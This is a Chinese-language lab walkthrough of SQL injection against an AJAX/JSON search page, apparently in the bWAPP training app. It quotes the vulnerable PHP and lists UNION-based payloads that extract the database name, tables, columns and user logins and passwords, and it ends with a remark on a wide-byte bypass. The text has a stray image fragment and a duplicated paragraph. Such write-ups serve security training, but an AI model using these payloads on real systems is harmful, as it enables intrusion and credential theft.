AJAX/JSON/jQuery注入
常规流程
1.判断是否存在注入,注入是字符型还是整数型
2.猜解SQL查询语句中的字段数 (order by )
3.确定显示的字段顺序
4.获取当前数据库 (爆库)
5.获取数据库中的表 (爆表)
6.获取表中的字段名 (爆字段)
7.下载数据 (爆数据)
基础知识
什么是AJAX/JSON/jQuery
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。
AJAX/JSON/jQuery
代码分析
//sqli_10-1.php
<script>$("#title").keyup(function(){
// #title为表格的ID值// Searches for a movie titlevar search = {
title: $("#title").val()}; //获取输入的值,制成JSON格式// AJAX call//getJSON(url,data,success(data,status,xhr))$.getJSON("sqli_10-2.php", search, function(data){
//data 接收返回的数据init_table(); //初始化表头// Constructs the table from the JSON datavar total = 0;$.each(data, function(key, val){
//循环输出JSON数据,制成表格total++;$("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");});// Empty resultif (total == 0){
$("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");}})});</script>
//"sqli_10-2.php
if(!empty($_GET["title"])) //接收数据,并使用自定义函数sqli()对数据进行消毒
{
// Retrieves the movie title$title = $_GET["title"];// Constructs the query$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";// Queries the database$recordset = mysql_query($sql, $link);// Fetches the resultif(mysql_num_rows($recordset) != 0){
while($row = mysql_fetch_array($recordset)){
$movies[] = $row;}}else{
$movies = array();}
}
else
{
$movies = array();
}
getJSON
演练
low
-
判断是否存在注入
a%' and 1=1 #
-
判断注入字段个数
a%' order by 7 # a%' order by 8 #
-
判断注入字段位置
a%' union select 1,2,3,4,5,6,7 limit 9,1#
-
获取数据库信息
a%' union select 1,database(),version(),user(),5,6,7 limit 9,1#
-
获取表名
a%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7 limit 9,1#
-
获取列名
a%' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),3,4,5,6,7 limit 9,1#
-
获取信息
a%' union select 1,(select group_concat(login,'-',password,'-') from users),3,4,5,6,7 limit 9,1#
mid/high
分别用了addslashes()和mysql_real_escape_string()函数防御
查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:
可惜mysql编码是utf-8:
ThokuG-1600695053041)]
mid/high
分别用了addslashes()和mysql_real_escape_string()函数防御
查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:
可惜mysql编码是utf-8: